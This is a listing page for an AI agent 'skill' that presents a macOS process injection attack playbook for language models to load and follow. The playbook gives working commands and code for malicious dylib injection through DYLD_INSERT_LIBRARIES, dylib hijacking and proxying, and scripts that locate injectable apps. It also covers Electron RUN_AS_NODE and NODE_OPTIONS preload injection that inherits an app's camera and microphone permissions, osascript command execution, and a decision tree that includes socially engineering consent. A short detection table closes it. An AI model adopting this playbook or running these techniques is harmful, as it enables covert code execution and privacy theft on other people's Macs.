Macos Process Injection logo

Macos Process Injection

OrganizationPopular
yaklang
macos-process-injection

macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namemacos-process-injection
Stars
2.2K
Forks
292
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Macos Process Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/macos-process-injection .claude/skills/macos-process-injection
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Macos Process Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Macos Process Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Macos Process Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: macOS Process Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Base models miss entitlement prerequisites and SIP constraints on injection vectors.

0. RELATED ROUTING

Before going deep, consider loading:

Advanced Reference

Also load DYLIB_XPC_TECHNIQUES.md when you need:

  • Step-by-step dylib hijacking methodology with tooling commands
  • XPC exploitation walkthrough with code examples
  • Mach port technique details and task_for_pid patterns

1. DYLD_INSERT_LIBRARIES INJECTION

The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.

1.1 Requirements and Restrictions

ConditionCan Inject?Reason
Normal (non-hardened) binaryYesNo restrictions
Hardened Runtime enabledNoDYLD strips env vars
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variablesYesEntitlement explicitly allows it
Apple system binary (SIP-protected)NoDYLD env vars stripped by SIP
SUID/SGID binaryNoDYLD env vars stripped for privilege safety
App Sandbox enabledNoSandbox blocks env var injection

1.2 Basic Injection

bash
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target

1.3 Finding Injectable Targets

bash
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB HIJACKING

Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.

2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)

Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.

bash
# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done

2.2 @rpath Hijacking

@rpath is resolved from LC_RPATH entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.

bash
# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH

# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath

# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there

2.3 Dylib Proxying

Replace a legitimate dylib with a malicious one that forwards all exports to the original.

bash
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'

# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64

2.4 Dependency Enumeration

bash
otool -L /path/to/binary              # List all dylib dependencies
otool -l /path/to/binary              # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary  # Detailed dependency info (pre-Ventura)

3. XPC EXPLOITATION

XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.

3.1 XPC Service Discovery

bash
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null

3.2 PID Reuse Attack

XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.

Validation MethodVulnerable?Notes
PID-based checkYesPID recycled after process exit
Audit tokenNoUnique per process lifecycle, not recycled
Code signature checkNoValidates signing identity
Entitlement checkNoChecks process entitlements
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)

3.3 XPC Client Validation Weaknesses

WeaknessDescriptionExploitation
No client validationService accepts any connectionConnect directly, send commands
PID-only validationRace condition exploitablePID reuse attack (§3.2)
Bundle ID check onlyBundle IDs can be spoofedCreate app with matching bundle ID
Partial code requirementMissing anchor checksSign with any cert matching partial requirement
Entitlement check on wrong processChecks parent instead of clientSpawn from entitled parent

4. MACH PORT MANIPULATION

Mach ports are the kernel-level IPC primitive underlying XPC. Direct Mach port access enables powerful injection.

4.1 Task Port (task_for_pid)

c
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // Can now read/write target process memory
    // Can inject threads via thread_create_running
}
Access MethodRequirementPost-Exploit Capability
task_for_pid()Root + not SIP-protected targetFull memory R/W, thread injection
processor_set_tasks()Root + com.apple.system-task-portsEnumerate all task ports
Exception portsSet via task_set_exception_portsCatch target crashes, redirect execution
Thread injectionTask port obtainedCreate new thread in target address space

4.2 Port Namespace Manipulation

TechniqueDescription
Port name guessingMach port names are sequential integers — brute-forceable in some contexts
mach_port_insert_rightInsert send right into target's namespace (requires task port)
Bootstrap server abuseRegister service name before legitimate service → intercept connections

5. MIG (MACH INTERFACE GENERATOR) ABUSE

MIG generates C stubs for Mach IPC. MIG servers may have vulnerabilities in their dispatch routines.

5.1 Analysis Approach

bash
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"

5.2 Common MIG Vulnerabilities

VulnerabilityDescription
Missing audit token validationMIG handler doesn't verify sender identity
Type confusionMIG deserialization trusts client-provided type descriptors
Port lifecycle issuesUse-after-deallocate on Mach ports between MIG calls
OOL (out-of-line) memory abuseOversized OOL descriptors → kernel memory issues

6. ELECTRON / CHROMIUM INJECTION

Many macOS apps use Electron (Slack, Discord, VS Code, Teams, etc.). Electron apps expose multiple injection surfaces.

6.1 ELECTRON_RUN_AS_NODE

bash
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.

6.2 Debugging Flags

bash
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser

# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229

6.3 NODE_OPTIONS Injection

bash
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"

6.4 Electron Fuses

Modern Electron apps use "fuses" to disable dangerous features. Check fuse state:

FuseWhen Enabled (secure)When Disabled (exploitable)
RunAsNodeELECTRON_RUN_AS_NODE strippedCan use app as Node.js
EnableNodeCliInspectArguments--inspect flags strippedCan attach debugger
EnableNodeOptionsEnvironmentVariableNODE_OPTIONS strippedCan inject preload
OnlyLoadAppFromAsarOnly loads from .asarCan replace JS files
bash
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"

7. APPLICATION SCRIPTING (APPLE EVENTS)

bash
# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. PROCESS INJECTION DECISION TREE

Need to inject code into macOS process
├── Target uses Electron?
│   ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│   ├── Debugging available? → --inspect flag (§6.2)
│   ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│   └── All fuses on? → check dylib path or XPC
├── Target has dylib env var entitlement?
│   └── Yes → DYLD_INSERT_LIBRARIES (§1)
├── Target has missing or weak dylib?
│   ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│   ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│   └── Existing dylib in writable location? → dylib proxy (§2.3)
├── Target exposes XPC service?
│   ├── No client validation? → connect directly (§3.3)
│   ├── PID-only validation? → PID reuse attack (§3.2)
│   └── Audit token validation? → need different vector
├── Have root access?
│   ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│   └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
├── Can use Apple Events?
│   ├── Automation permission for target? → osascript injection (§7)
│   └── No permission? → social engineer Automation consent
└── None of the above?
    ├── Check for MIG server vulnerabilities (§5)
    └── Look for bootstrap server name collision (§4.2)

9. DETECTION & FORENSICS

ArtifactWhere to Look
DYLD_INSERT_LIBRARIES useProcess environment (/proc/PID/environ, ps eww)
Unexpected dylibs loadedvmmap PID or DYLD_PRINT_LIBRARIES=1 output
XPC connection anomaliesEndpoint Security es_event_type_t XPC events
Electron debug port openlsof -i :9229
osascript executionUnified log: log show --predicate 'process=="osascript"'
Unsigned code executioncodesign --verify failures, Gatekeeper logs

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Macos Process Injection AI skill do?

macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.

Why use Macos Process Injection on TypingMind?

Because you install it once and use it with any model. Macos Process Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Macos Process Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/macos-process-injection. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Macos Process Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Macos Process Injection?

As many as you like. As long as a model supports skills, you can use Macos Process Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Macos Process Injection AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇